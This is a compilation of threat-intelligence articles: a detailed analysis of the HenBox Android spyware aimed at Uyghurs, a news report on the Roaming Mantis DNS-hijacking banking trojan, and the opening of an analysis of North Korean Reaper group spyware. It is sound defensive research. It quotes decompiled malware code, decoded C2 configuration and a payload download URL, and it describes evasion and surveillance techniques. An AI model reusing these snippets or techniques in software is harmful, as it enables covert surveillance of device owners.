HenBox: Inside the Coop

Summary

On March 13, 2018, we published a blog describing a new Android malware family we discovered and called “HenBox” based on metadata found in most of the malicious apps. HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores.

HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China.

HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy.

HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi’s operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The main purpose of this follow-up blog is to provide additional information, and detailed analysis, about HenBox apps.

Delivery and Installation

During our investigation, we discovered one HenBox app previously hosted on the third-party Android app store, “uyghurapps[.]net”. This HenBox variant masqueraded as the legitimate VPN application, “DroidVPN”, and carried the app as an asset, embedded within itself. Once HenBox installs on a compromised device, it begins the installation process for the legitimate DroidVPN.

At the time of writing, we are unaware of any HenBox apps hosted on other third-party app stores; given the high volume of HenBox apps analyzed in our Wildfire sandbox, we can only speculate as to how other apps are delivered to victims; much of the Android malware seen in the wild tends to be delivered via third-party app stores, forums and file-sharing platforms, and of course by via ubiquitous phishing emails.

HenBox Decoys

Further analysis of the HenBox malware family is below, however, on the subject of masquerading apps, and installing embedded apps, it’s worth explaining how this decoy technique works.

The HenBox variant being described here relates to that listed in Table 1, below, which masquerades as DroidVPN; other apps were used with decoys, and are described in more detail in the previous blog.

APK SHA256 Size (bytes) First Seen App Package name

 

App name
0589bed1e3b3d6234c30061be3be1cc6685d786ab3a892a8d4dae8e2d7ed92f7 2,740,860 May 2016 com.android.henbox DroidVPN

Table 1 HenBox variant using decoy techniques

Once HenBox is installed, and launched by the victim, the app starts the installation process of the legitimate, embedded app by executing the following code.

Intent localIntent = new Intent("android.intent.action.VIEW");

localIntent.setDataAndType(Uri.fromFile(new File(str)), DaemonServer.a(new char[] { 56, 41, 41, 53, 48, 58, 56, 45, 48, 54, 55, 118, 47, 55, 61, 119, 56, 55, 61, 43, 54, 48, 61, 119, 41, 56, 58, 50, 56, 62, 60, 116, 56, 43, 58, 49, 48, 47, 60 }));

startActivity(localIntent);

Having created a new intent – android.intent.action.VIEW – at run-time, as opposed to declared statically in the app’s AndroidManifest.xml, the remaining code configures parameters relating to the embedded decoy app. The first argument to setDataAndType() contains said decoy app’s filename – res.apk – referenced as “str”.

Method a() of the DaemonServer class contains an XOR routine to decode the byte string argument using, in this case, a single-byte key 0x59. The following code snippet shows the decoded output used as the second argument to setDataAndType();

application/vnd.android.package-archive

The decoded string shown above represents the Multipurpose Internet Mail Extensions (MIME) type associated with APK (Android app package) files.

Calling startActivity() with this intent configuration triggers Android to provide a handler – most likely the app package manager – that would prompt the victim to install the embedded application. Given, in this case, the victim most likely intended to install a VPN app, this secondary install for that app should come as no surprise, however, it’s likely the HenBox installation process would have also occurred and may have been more suspicious. Potential victims are likely lured into installing the apps through the use of app names, iconography, or other similar traits to those apps being sought; some HenBox apps purport to be system or back-up apps that may appear plausible to the victim.

Inside the Coop -HenBox Analysis

The following description is based on the HenBox app listed in Table 3 below. The reason for choosing this app for more detailed analysis, was the significant ties to infrastructure seen also having hosted Windows malware, such as PlugX.

SHA256 Package Name App Name First seen
a6c7351b09a733a1b3ff8a0901c5bde

fdc3b566bfcedcdf5a338c3a97c9f249b

com.android.henbox 备份 (Backup) Aug 29th 2017

Table 2 HenBox variant used in description

The majority of HenBox apps, including this one, used the following developer signature information to sign the APK file.

CN=henbox, OU=henbox, O=henbox, L=Guangzhou, ST=Guangdong, C=CN

A smaller subset of HenBox apps used the “Android Debug” signature used typically when developers are testing their development. This shortcut is used to sign malicious apps, rather than the adversary creating their own signature, however there can be limitations as to where the app can be hosted and installed when using it. Recent HenBox apps have the common name (CN) changed to “h123enbox” or the entire signature as, simply, “C=cn”, where ‘C’ is the certificate attribute for Country.

The following figures illustrate the structure of a typical HenBox app, how they are delivered, and the app behavior once installed.

Henbox_1

Figure 1 HenBox app delivery and structure

In Figure 1 we included three methods for delivering HenBox commonly used by threat actors to deliver Android malware: websites, such as forums, phishing emails, and third-party app stores. It is likely HenBox is also delivered via the same methods. However, as previously mentioned, we do not have current visibility into delivery methods other than third-party app stores, for which we saw one instance.

To our knowledge, user interaction is required to install HenBox apps. Given the third-party app store we observed serving HenBox, and the decoy apps used, it’s clear the adversary relies heavily on social engineering techniques to compromise their victims.

Most HenBox apps seen to date contain a similar structure of files and components within the APK package. Optionally, as shown with the dotted line in Figure 2, and as described with the DroidVPN example earlier, HenBox apps may include an embedded APK file for use as a decoy. Another example of this is a HenBox sample that purports to be the popular online video platform iQiyi. That platform has over 500 million unique users, almost half of which are mobile viewers, providing yet another popular decoy app with which to social engineer potential victims.

Figure 1 above describes the structure of the HenBox app listed in Table 2 above. The numbered components from Figure 1 are listed in more detail in Table 3 below and described afterwards. Some of the components are RC4 encrypted using the downloaded-string key “a85fe5a8”; other components are XOR-encoded using various key values. Native libraries, in the form of Executable and Linkable Format (ELF) files, are common to HenBox samples and the Java Native Interface (JNI) allows the Android app components to communicate with and execute functions in these libraries.

# Filename Obfuscation

Compression

Type Purpose
1 ./assets/b.dat RC4(Zlib) ELF Interacts with other components inside the a.zip archive.
2 ./lib//liblocsdk.so N/A ELF Baidu library for device geo-location data.
3 ./lib//libloc4d.so N/A ELF Handlies RC4 decryption, Zlib decompression and HTTP network communication.
4 ./assets/sux (and suy) XOR (0x51) ELF Contains embedded SU (Super User) and other root-related capabilities to run privileged commands; Harvests messages and other private data from popular messaging and social media apps.
5 ./classes.dex N/A DEX Main Dalvik file containing Java for HenBox
6 ./assets/setting.txt XOR (0x88) Data Config file containing C2 and other information
7 ./assets/daemon N/A ELF Starts services, monitors environment settings and system logs.
8 ./assets/a.zip RC4(ZIP) Archive Zip archive containing two files
9 ./assets/a.zip/libkernel.so N/A ELF Library handling various activities including loading a secondary Dalvik DEX file (lib.dat)
10 ./assets/a.zip/lib.dat RC4(Zlib) DEX Dalvik file for parsing config file, monitoring out-going calls, intercepting SMS messages and more.

Table 3 Contents and components of this HenBox variant

Chickens in flight

There are two methods to execute HenBox’s malicious code. The first method, as depicted by Figure 2 below, is automatic based on the operating system generating one of a handful of broadcasts that HenBox registered its intent to process during the app installation process. Examples include events like device reboots or when an app is newly installed. The list of all the intents registered statically via HenBox’s AndroidManifest.xml file are described in the appendix below; HenBox also registers further intents at run-time.

Henbox_2

Figure 2 HenBox execution via Intents and External Triggers

Most of the intents listed in the appendix, and in Figure 2, are commonly found in malicious Android apps, and are the equivalent of setting registry run keys on Windows to autostart applications under certain conditions. One intent stands out and is much less common to see – com.xiaomi.smarthome.receive_alarm.

Xiaomi, a privately owned Chinese electronics and software company, is the 5th largest smart phone manufacturer in the world, manufacturing IoT devices for the home. Devices range from smart lights to smart rice cookers, and much more in-between. Devices are controlled using Xiaomi’s “MiHome” app, which has been downloaded between 1,000,000 and 5,000,000 times.

Given the nature of connected devices in smart homes, it’s highly likely many of these devices, and indeed the controller app itself, communicate with one another sending status notifications, alerts and so on. Such notifications, received by the MiHome app can also be processed by other apps, provided they register their intent to do so, such as HenBox. Essentially, this allows for external IoT devices to act as a trigger to execute the malicious HenBox app’s code.

Triggered intents result in execution of code that’s present in either the BootReceiver or TimeReceiver classes, both of which ultimately lead to a new instance of the DaemonServer service being created and started. This service is discussed in more detail later. In addition, BootReceiver changes the device ringer mode to a value of 2, which results in ringtones being audible, and setting vibrate mode on. This may have been done in an attempt to have nearby people interact with the (now noisy) device such that information stolen may be richer in content. For more information on these intents and their purpose, please see the appendix.

The alternative method for executing the HenBox code is for the user to launch the malicious app from the launcher view on their device, as shown in Figure 3.

Henbox_3

Figure 3 HenBox app present in Launcher View on Android

Upon manual launch, HenBox code executes and performs the steps highlighted in Figure 4 below.

Henbox_4

Figure 4 HenBox execution via human interaction

Firstly, checks are made to determine whether the device manufacturer is Xiaomi, or the firmware is MIUI (Xiaomi’s fork of Android). The intention here seems to be one of targeting Xiaomi and exiting prematurely if the checks fail, however poorly written code results in execution in more environments than the adversary perhaps wanted. Further checks try to ascertain whether HenBox is running on an emulator, perhaps being cautious around potential researcher environments. Interestingly, the code for these additional checks are concealed inside a class called AlarmService, which is appears to be code from online tutorials for Android developers, perhaps to hide the adversary’s code from plain sight. Assuming these checks pass, HenBox continues to execute by next loading the ELF library libloc4d.so; its functionality is discussed later in this blog.

Using Android’s shared preferences feature to persist XML key-value pair data, HenBox checks whether this execution is its first. If it is, and if the app’s path does not contain “/system/app” (i.e. HenBox is not running as a system app, which provides elevated privileges), one of two embedded “su?” ELF libraries are XOR-decoded. A JNI call is then issued to libloc4d.so passing three strings – the app’s package name, the package name including the current class, which is “MainActivity”, and the path to the HenBox app. This JNI call leads to the execution of the “su?” (henceforth sux) binary, which is also discussed in more detail later.

The two files – “suy” and “sux” – are essentially the same; “sux” is used if the Android version on the victim’s device is 4.1 (aka “Jelly Bean”) or newer; “suy” will be used for older versions.

Finally, an instance of the DaemonServer service starts and, if a decoy app is embedded inside HenBox, as per the DroidVPN example, the installation process for it also starts.

DaemonServer Class

Figure 5 below illustrates the typical behavior of the DaemonServer service, starting with hiding the HenBox app from the launcher view and the app drawer/tray. This behavior is common amongst Android malware and, while the app remains installed with its services running, it is harder to discover by the victim. The non-obfuscated ELF file “daemon” is loaded next; the program gathers environmental information about the device by accessing system and radio log files, and by querying running processes.

Henbox_5

Figure 5 HenBox’s DaemonServer Service code execution flow

A Baidu library is used to for gathering device geo-location information; another run-time intent is registered to intercept outgoing phone calls, allowing HenBox to check the number dialed for prefixes matching “+86” – the country code for the People’s Republic of China. Interestingly, instead of using Baidu’s coordinate system, HenBox specifies the GCJ-02 alternative provided by the Chinese State Bureau of Surveying and Mapping. According to public sources, this system adds apparently random offsets to both the latitude and longitude, with the alleged goal of improving national security.

Further assets are then deployed and decoded, if necessary, including a.zip and setting.txt. Code is present in this variant to also deploy assets named “plugin” and “AppVoice”, however, they are not present in this sample, a likely indication of evolving development and use of multiple components, depending the adversary’s needs at a given time.

HenBox’s config file, setting.txt, is decoded using XOR with a single-byte key, 0x88; filenames and XOR keys differ occasionally between variants. Once de-obfuscated, the config file’s contents resembles something like the following text:

a1=wd.w3.ezua[.]com
a2=80
a3=crash_report@21cn[.]com
a4=smtp.21cn[.]com
a5=crash_report
a6=lxy.cn@163[.]com
a7=
a8=0914D1D428914B09A5372866B39524B9
a9=
b1=0
b2=0
b3=1
b4=http://www3.mefound[.]com/aa.txt

Interestingly, open source research indicates the email address in the above HenBox config file belongs to a scholar of Cyber Security at the University of the Chinese Academy of Sciences in Beijing, China. They are listed as an author on the paper “Recognition of Information Leakage of Computer via Conducted Emanations on the Power Line.” Why the email appears in the configuration file of HenBox malware is not known at the time of writing.

Currently, it’s not known to us exactly how all these parameters are used, however some of the domains (or IP addresses in other variants) are used as the C2 for the threat actors.

Finally, a worker thread is then created that sets various components running in the background. One of the key components used is the ELF file named “b.dat”, which in turn interacts with “a.zip”. The archive file a.zip contains two further files: libkernel.so (another ELF file) and lib.dat, which is actually a Dalvik DEX file containing further Java code for the app’s behavior, beyond the default classes.dex file. Some of the key data-harvesting behavior of HenBox stem for these files – b.dat and the contents of a.zip – all four of which are RC4-encrypted, forming the most heavily obfuscated components within HenBox.

Once unpacked and available for use, the new DEX file is executed from within the DaemonServer class of the main HenBox app. A DexClassLoader object is created and a loadClass method is called for a class “com/common/ICommonFun” contained within the once deeply-nested, and obfuscated secondary DEX file. From the newly-loaded class, a method is called to invoke further HenBox capabilities, including enumerating all running applications and killing those that have the permission to receive SMS messages, before registering its own run-time Intent to do so, and thus intercept the victim’s messages.

The method continues next by loading the libkernel.so library file, also unpacked from the a.zip archive. This ELF file has numerous capabilities, many of which stem from using a built-in version of BusyBox – a package containing various stripped-down Unix tools useful for administering such systems. This executable interacts with the aforementioned sux executable and, amongst other things, temporarily disables the noise made by the device when photos are taken. This is achieved by moving the audio file “/system/media/audio/ui/camera_click.ogg” elsewhere, and back again once the picture-taking is complete.

Dynamic C2s

At the time of writing, three HenBox variants, all seen in early April 2017, gathered their C2 addresses dynamically. The three are listed in Table 3, below.

SHA-256 Package Name App Name First Seen
184e5cbebef4ee591351cfaa1130d5741

9f70eb95c6387cb8ec837bd2beb14d6

com.android.henbox 备份 (Backup) April 2nd 2017
efa3cd45e576ef8ab22d40fc9814456d0

6a6eeeaeada829c16122a39cb101dbf

com.android.henbox 备份 (Backup) April 2nd 2017
9d85be32b54398a14abe988d98386a3

8ce2d35fff91caf1be367f7e4b510b054

com.android.henbox 备份 (Backup) April 1st 2017

Table 4 HenBox variants using dynamic C2s

As previously mentioned, HenBox config files contain the C2 information for the malware. In the case of the three variants listed in Table 3, the C2 address was http://blog.sina.com[.]cn/s/blog_772696fb0102wemg.html. The content of the site, at the time of writing, is shown in Figure 6 below.

Henbox_6

Figure 6 Example website hosting the HenBox C2 information

The blog contains structured text strings beginning with “ConnectURL” that, when parsed, provide the IP address and port number for HenBox to use as its C2.

Conclusion

Typically masquerading as legitimate Android system apps, and sometimes embedding legitimate apps within them, the primary goal of the malicious HenBox apps appears to be to spy on those who install them. Using similar traits, such as copycat iconography and app or package names, victims are likely socially engineered into installing the malicious apps, especially when available on so-called third-party (i.e. non-Google Play) app stores which often have fewer security and vetting procedures for the apps they host. It’s possible, as with other Android malware, that some apps may also be available on forums, file-sharing sites or even sent to victims as email attachments, and we were only able to determine the delivery mechanism for a handful of the apps we have been able to find.

The hosting locations seen for some HenBox variants, together with the nature of some embedded apps including: those targeted at extremist groups, those who use VPN or other privacy-enabling apps and those who speak the Uyghur language, highlights the victim profile the threat actors were seeking to attack. The targets and capabilities of HenBox, in addition to the ties to previous activity using four different Windows malware families with political-themed lures against several different South East Asian countries, indicates this activity likely represents an at least three year old espionage campaign.

Palo Alto Networks customers are protected by:

Autofocus customers can investigate this activity using the following tag. To date we believe HenBox is not a shared tool, however, the remainder of malware used by these attackers is shared amongst multiple groups:

Android Hygiene

Update: Keep installed apps updated. Much like patching Operating System and application files on PCs, Android and apps developed for the platform also receive security updates from Google and app developers to remove vulnerabilities and improve features, including security.

Review: App permissions to see what the app is potentially capable of. This can be quite technical but many permissions are named intuitively describing if they intend to access contacts, messages or sensors, such as the device microphone or camera. If you the permission seem over the top compared to the described functionality, then don’t install. Also read the app and developer reviews to evaluate their trustworthiness.

Avoid: 3rd party app stores that may host pirated versions of paid apps from the Google Play app store, often such apps include unwanted extra features that can access your sensitive data or perform malicious behaviors. Also avoid rooting devices, if possible, as apps could misuse this power.

Appendix

The following analysis is based on the HenBox Android APK file listed in Table 5 below.

SHA256 Package Name App Name First seen
a6c7351b09a733a1b3ff8a0901c5bde

fdc3b566bfcedcdf5a338c3a97c9f249b

com.android.henbox 备份 (Backup) Aug 29th 2017

Table 5 HenBox app detailed in the analysis

The permissions declared statically in the AndroidManifest.XML file are pretty aggressive, and in line with what you would expect from this type of espionage Android malware. Table 6 below lists and describes the Android permissions declared for this variant of HenBox.

Category Permission Description
System KILL_BACKGROUND_PROCESSES The ability to kill processes associated to given packages may allow the app to stop security apps, or those that may be running, which it is attempting to imitate or install.
System WAKE_LOCK Allows for the CPU to be kept awake, and screen on, for background tasks to continue.
System WRITE_SETTINGS** Ability to modify system settings
System RECEIVE_BOOT_COMPLETED Can receive the broadcast message when system finishes booting.
System READ_LOGS Allows for reading the low-level system log files.
System GET_TASKS Retrieve the list of running tasks from all apps.
Storage MOUNT_UNMOUNT_FILESYSTEMS (un)mount file systems for removable storage access.
Storage WRITE_EXTERNAL_STORAGE Write to external storage.
Sensors CAMERA Access the device camera(s)
Sensors RECORD_AUDIO Record audio through device microphone
Network INTERNET Ability to open network sockets
Network ACCESS_NETWORK_STATE Access information about phone networks
Network ACCESS_WIFI_STATE Access information about WiFi networks
Network CHANGE_WIFI_STATE Change Wi-Fi connectivity state
Network CHANGE_NETWORK_STATE** Change network connectivity state
Messages READ_SMS Read SMS messages
Messages RECEIVE_SMS Receive SMS messages
Messages SEND_SMS Send SMS messages
Messages WRITE_SMS** Write SMS messages
Location ACCESS_COARSE_LOCATION Access approximate location
Location ACCESS_FINE_LOCATION Access precise location
Contacts READ_CONTACTS Read user’s contacts data
Contacts WRITE_CONTACTS  Write to the user’s contacts data
Calls READ_PHONE_STATE Read-only access to device phone number, current cellular network information and the status of any ongoing calls.
Calls READ_CALL_LOG Read the call log of previous outgoing, incoming and missed calls.
Calls READ_PHONE_STATE (duplicate) (see above)
Calls PROCESS_OUTGOING_CALLS Ability to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether
Calls CALL_PHONE Initiate a phone call without going through the Dialer user interface for the user to confirm the call
Calls WRITE_CALL_LOG Write to the user’s call log data
Calendar READ_CALENDAR Read the user’s calendar data
Browser browser.permission.

READ_HISTORY_BOOKMARKS**

Access browsing history from web browser(s)

Table 6 Typical permissions requested by HenBox

**Some permissions are deprecated in recent Android versions, or now require more stringent permission requests including user-interaction for secondary permission acceptance; in some cases, 3rd party apps may no longer be allowed to use some of the listed permissions. The ability to write SMS messages, for example, was overhauled in version 4.4 (aka KitKat) some 4 years ago.

Some variants have slightly differing permissions; noteworthy that some recent variants of HenBox have included Bluetooth related permissions, as detailed in Table 7 below.

Category Permission Description
Network BLUETOOTH Allows applications to connect to paired bluetooth devices
Network BLUETOOTH_ADMIN Allows applications to discover and pair bluetooth devices.

Table 7 Additional permissions in more recent HenBox variants

Once the user installs the app, two services are registered, as shown in Figure 7 below – showing an extract from this app’s AndroidManifest.xml file.

Henbox_7

Figure 7 AndroidManifest.xml service declarations

Both services have been discussed already but to recap, DaemonServer is responsible for hiding the malicious app, enabling location tracking and gathering phone numbers called from the device, with specific interest of Chinese numbers; further components are also unpacked and launched when this class is instantiated and run.

AlarmService contains an approximate copy of Google’s Android API demo code for creating alarm and timer apps. Extra classes and methods have been added providing functionality to HenBox, including anti-debug and anti-analysis code capable of detecting if the app is running within emulator, and possibly research analysis, environments.

Manifest-declared priority values of 1000 are set for both services, as shown in Figure 7, albeit erroneously. Setting high, or in this case maximum, values in the priority attribute is a trick typically used when declaring intents and receivers for system broadcasts to ensure certain apps (often malicious) are executed ahead of intended apps that would handle such events. There is no such priority concept for services; the operating system alone controls service CPU time, according to how busy the device is and how much resource remains.

The attribute “exported”, shown in Figure 7, relates to whether or not components of other applications can invoke the service, or interact with it — “true” if they can; “false” if not. This immediately makes DaemonServer a little more interesting.

Android receivers com.android.henbox.BootReceiver and com.android.henbox.TimeReceiver are also declared in the AndroidManifest.xml to receive broadcast messages under certain conditions. BootReceiver, as per the services listed in Figure 7 above, has its priority attribute (correctly) set to 1000, allowing certain intent-filters to trigger and run the malicious receiver above the receivers and matching intents from other apps.

The intent filters listed in the AndroidManifest.xml are briefly described in the Table 8 below, together with the receivers they refer to.

Receiver Intent Name Description
BootReceiver android.intent.action.BOOT_COMPLETED System notification that the device has finished booting.
android.intent.action.restart A legacy intent used to indicate a system restart.
android.intent.action.SIM_STATE_CHANGED System notification that the SIM card has changed or been removed.
android.intent.action.PACKAGE_INSTALL System notification that the download and eventual installation of an app package is happening (this is deprecated)
android.intent.action.PACKAGE_ADDED System notification that a new app package has been installed on the device, including the name of said package.
com.xiaomi.smarthome.receive_alarm Received notifications from Xiaomi’s smart home IoT devices.
TimeReceiver android.intent.action.ACTION_TIME_CHANGED System notification that the time was set.
android.intent.action.CONNECTIVITY_CHANGE System notification that a change in network connectivity has occurred, either lost or established. Since Android version 7 (Nougat) this information is gathered using other means, perhaps inferring the devices used by potential victim run older versions of Android.

Table 8 HenBox intents declared statically in AndroidManifest.xml

Most of the intents listed are commonly seen in malicious, information-stealing Android apps that wish to hook certain common events, such as system reboots, network changes, new apps installed and so forth, acting as a trigger to their code.

As mentioned earlier, HenBox registers a much less common and more interesting intent filter – com.xiaomi.smarthome.receive_alarm. This relates to Xiaomi’s smart home IoT devices, and their MiHome controller app for smartphones. Broadcasts or notifications from such Xiaomi’s devices, which would usually be processed by the MiHome app, could now also be processed by HenBox, acting as a trigger to launch its malicious behavior.

Whichever Intent triggers HenBox will execute code declared in BootReceiver or TimeReceiver; both receivers’ code resembles the snippet below, which starts a new instance of the service DaemonServer and increment an integer by 1.

DaemonServer.d += 1;
paramContext.startService(new Intent(paramContext, DaemonServer.class));

BootReceiver also executes the following line of code, resulting in the device’s ringer mode being set to audible and vibrate mode on.

((AudioManager)paramContext.getSystemService("audio")).setRingerMode(2);

The purpose for this additional behavior in BootReceiver is unknown but given the requested permissions, the capability to gather information from device sensors, such as the microphone and cameras, it’s feasible the intention of changing the ringer settings is to encourage interaction with the device by anyone nearby, perhaps leading to richer content of the data being exfiltrated.

Aside from using Intents and Receivers to launch HenBox, as mentioned above, there is an alternative – launching the app manually from the launcher view on Android, as shown in Figure 8 below. Doing so results in code in the MainActivity class being executed, which is equivalent to a Windows Portable Executable (PE) file’s entry point.

Henbox_8

Figure 8 Android app launcher view and the HenBox app

Specifically, the onCreate() method in the MainActivity class is executed. This code performs some initial checks of the device manufacturer and Operating System before continuing. The actors seemed to be interested only in Xiaomi devices, or Xiaomi’s fork of Android called MIUI (“Me You I”) running on any device. The code performing these checks is buggy and results in execution in more environments then perhaps anticipated.

Continuing with the device checks, HenBox performs various well-documented anti-emulator checks, such as querying the device phone number, device IDs, IMSI, various QEMU-related environment settings, hardware configurations and other notable strings to compare against known constants that would infer an emulator device, which are commonly used for app analysis. Finally, they check for tainted Operating Systems, such as the presence of TaintDroid code used for tracking app behavior.

Android’s shared preferences feature is used to persist information beyond the lifetime of the app execution, and to retrieve said information, should it exist. HenBox uses this feature to symbolize if the malware has already run. The strings used to denote this are XOR-encoded with single-byte key, 0x59; a helper method in the DaemonServer class is used for decoding. The strings are listed in Table 9 below.

# Encoded Decoded
1 41 43 60 63 60 43 60 55 58 60 Preference
2 31 48 43 42 45 11 44 55 FirstRun
3 0 28 10 YES
4 118 42 32 42 45 60 52 118 56 41 41 /system/app

Table 9 Example HenBox XOR encoded strings

HenBox attempts to hide itself from the app launcher view by running the following code, passing the parameters COMPONENT_ENABLED_STATE_DISABLED (2) and DONT_KILL_APP (1) to the setComponentEnabledSetting() method.

getPackageManager().setComponentEnabledSetting(new ComponentName(this, MainActivity.class.getName()), 2, 1);

DaemonServer Service

To recap, the DaemonServer Service is launched either through the two receivers’ intent filters being triggered by certain events occurring on the device, or through launching the app manually. Either way, the registered service’s entry-point method, onCreate(), is executed.

Location tracking for the device is enabled using the com.baidu.location.service_v2.9 libraries carried within the HenBox APK file. However, instead of using Baidu’s coordinate system, HenBox specifies the GCJ-02 alternative provided by the Chinese State Bureau of Surveying and Mapping. According to public sources, this system adds apparently random offsets to both the latitude and longitude, with the alleged goal of improving national security.

DaemonServer continues by setting up a PhoneStateListener object instance, customized to handle cases of phone numbers starting with “+86” (country dialing code for China), and listens for changes to the device call state. A run-time, high-priority intent filter is setup for android.intent.action.NEW_OUTGOING_CALL, so as to inform HenBox when a phone call is made. The associated receiver – BroadcastReceiver – retrieves the phone number being dialed using the getStringExtra(“android.intent.extra.PHONE_NUMBER”) method call.

IOCs

For a full list of SHA256 hashes, their first encountered timestamp, and details of Android package and app names relating to over 200 apps, please refer to the following file on GitHub.

The post HenBox: Inside the Coop appeared first on Palo Alto Networks Blog.

Go to Source
Author: Alex Hinchliffe

Cybercriminals Hijack Router DNS to Distribute Android Banking Trojan

Security researchers have been warning about an ongoing malware campaign hijacking Internet routers to distribute Android banking malware that steals users’ sensitive information, login credentials and the secret code for two-factor authentication.

In order to trick victims into installing the Android malware, dubbed Roaming Mantis, hackers have been hijacking DNS settings on vulnerable and poorly secured routers.

DNS hijacking attack allows hackers to intercept traffic, inject rogue ads on web-pages and redirect users to phishing pages designed to trick them into sharing their sensitive information like login credentials, bank account details, and more.

Hijacking routers’ DNS for a malicious purpose is not new. Previously we reported about widespread DNSChanger and Switcher—both the malware worked by changing the DNS settings of the wireless routers to redirect traffic to malicious websites controlled by attackers.

Discovered by security researchers at Kaspersky Lab, the new malware campaign has primarily been targeting users in Asian countries, including South Korea, China Bangladesh, and Japan, since February this year.

Once modified, the rogue DNS settings configured by hackers redirect victims to fake versions of legitimate websites they try to visit and displays a pop-up warning message, which says—”To better experience the browsing, update to the latest chrome version.”

android-dns-hijack-banking-malware

It then downloads the Roaming Mantis malware app masquerading as Chrome browser app for Android, which takes permission to collect device’ account information, manage SMS/MMS and making calls, record audio, control external storage, check packages, work with file systems, draw overlay windows and so on.

“The redirection led to the installation of Trojanized applications named facebook.apk and chrome.apk that contained Android Trojan-Banker.”

If installed, the malicious app overlays all other windows immediately to show a fake warning message (in broken English), which reads, “Account No.exists risks, use after certification.”

Roaming Mantis then starts a local web server on the device and launches the web browser to open a fake version of Google website, asking users to fill up their names and date of births.

android-dns-hijack-banking-malware

To convince users into believing that they are handing over this information to Google itself, the fake page displays users’ Gmail email ID configured on their infected Android device, as shown in the screenshots.

“After the user enters their name and date of birth, the browser is redirected to a blank page at http://127.0.0.1:${random_port}/submit,” researchers said. “Just like the distribution page, the malware supports four locales: Korean, Traditional Chinese, Japanese and English.”

Since Roaming Mantis malware app has already gained permission to read and write SMS on the device, it allows attackers to steal the secret verification code for the two-factor authentication for victims’ accounts.

While analysing the malware code, Researchers found reference to popular South Korean mobile banking and gaming applications, as well as a function that tries to detect if the infected device is rooted.

“For attackers, this may indicate that a device is owned by an advanced Android user (a signal to stop messing with the device) or, alternatively, a chance to leverage root access to gain access to the whole system,” the researchers said.

What’s interesting about this malware is that it uses one of the leading Chinese social media websites (my.tv.sohu.com) as its command-and-control server and sends commands to infected devices just via updating the attacker-controlled user profiles.

chinese-android-malware

According to Kaspersky’s Telemetry data, the Roaming Mantis malware was detected more than 6,000 times, though the reports came from just 150 unique users.

You are advised to ensure your router is running the latest version of the firmware and protected with a strong password.

You should also disable router’s remote administration feature and hardcode a trusted DNS server into the operating system network settings.

Go to Source

Reaper Group’s Updated Mobile Arsenal

Summary

A recent post from EST Security revealed the use of Android spyware in spear phishing email attachments linked to the North Korean Reaper group (also known as APT37, Scarcruft, Group 123 or Red Eyes), highlighting a new mobile vector added to the threat group’s toolkit.

Unit 42 has looked further into EST’s findings and found a more advanced variant of the Trojan mentioned in their original article. Talos has written on this variant and named it KevDroid.

This post provides our analysis of KevDroid., as well as details on the discovery of previously unknown trojanized versions of a Bitcoin Ticker Widget and a PyeongChang Winter Games application, that are downloaders for the spyware variants.

Background

The post by EST Security detailed an Android spyware disguising itself as an Anti-Virus app from Naver (the largest search and web portal service provider in South Korea). While hunting for similar samples, I came across two more versions of the same variant. One of those called home to cgalim[.]com, a domain that Palo Alto Networks had already observed being used by the Reaper group in non-mobile attacks (IOCs in Appendix).

App Name Icon SHA256
Google Defender Update  Google_1 06222141a684de8a0b6e5dc1f7a2b14603c98dbe404ad7605dc9eb9d903c3df8
Update  Android_reaper f33aedfe5ebc918f5489e1f8a9fe19b160f112726e7ac2687e429695723bca6a


Table 1: Additional samples found for the original Android spyware variant linked to the Reaper group

Pivoting on artefacts from the original variant led to the discovery of a more advanced variant of the same spyware, which is described in detail further below. In addition, I also stumbled upon two Android applications that serve as downloaders for each of the two variants. They are discussed next.

Downloaders

While investigating the Reaper group’s Android spyware variants, I found two applications that have the ability to download and install an application from hxxp://cgalim.com/admin/hr/1[.]apk. I also observed the same URL serving the advanced variant of the Android spyware, confirming that these two applications served as downloaders for the Reaper group’s Android spyware. The two applications are trojanized versions of popular applications available on the Google Play Store. The two trojanized versions were not posted on Google Play.

While both downloaders contacted the same URL to download their payloads, looking further into their code I found that they were each written to respectively download and drop one specific variant of Reaper’s Android spyware.

App Name Icon SHA256 DROPPED PAYLOAD
PyeongChang Winter Games  Wintergames 28c69801929f0472cef346880a295cdf4956023cd3d72a1b6e72238f5b033aca New variant
Bitcoin Ticker Widget  bitcoin 679d6ad1dd6d1078300e24cf5dbd17efea1141b0a619ff08b6cc8ff94cfbb27e Original variant

Table 2: Android downloaders used to drop spyware variants linked to the Reaper group

Both applications are signed with the same certificate thereby confirming their origins from the same author(s)

Owner: CN=Jhon Phalccon, OU=Google Chrome, O=Google Chrome, L=Washington, ST=US, C=US
Issuer: CN=Jhon Phalccon, OU=Google Chrome, O=Google Chrome, L=Washington, ST=US, C=US
Serial number: 7b320fab
Valid from: Wed Jan 24 10:22:50 GMT 2018 until: Sun Jun 11 10:22:50 GMT 2045

Once these downloaders are installed, they display a message prompting the user to update the application. If the user follows the prompts, the downloader retrieves the payload and saves it to the external device memory as AppName.apk. The payload is then loaded prompting the user again to confirm its installation before it is finally installed on the device. The next section provides an analysis of the newer, more advanced variant of these payloads.

Advanced Variant Analysis

The following sample was used for this analysis

App Name Icon SHA256
PU (Blank) 990d278761f87274a427b348f09475f5da4f924aa80023bf8d2320d981fb3209

Table 3: New Android spyware variant discovered, linked to the Reaper group

This sample has the following abilities:

  • Record video (default duration is 10 mins)
  • Record audio (default duration is 5 mins, saved as 48_d[TS].amr)
  • Capture screenshots (saved as 96_d[TS].jpg)
  • Grab the phone’s file listing (saved as 128_d[TS].txt)
  • Fetch specific files
  • Download a list of commands
  • Get device info – 64-bit Android ID, Phone number, System Properties etc (saved as 208_d[TS].json)
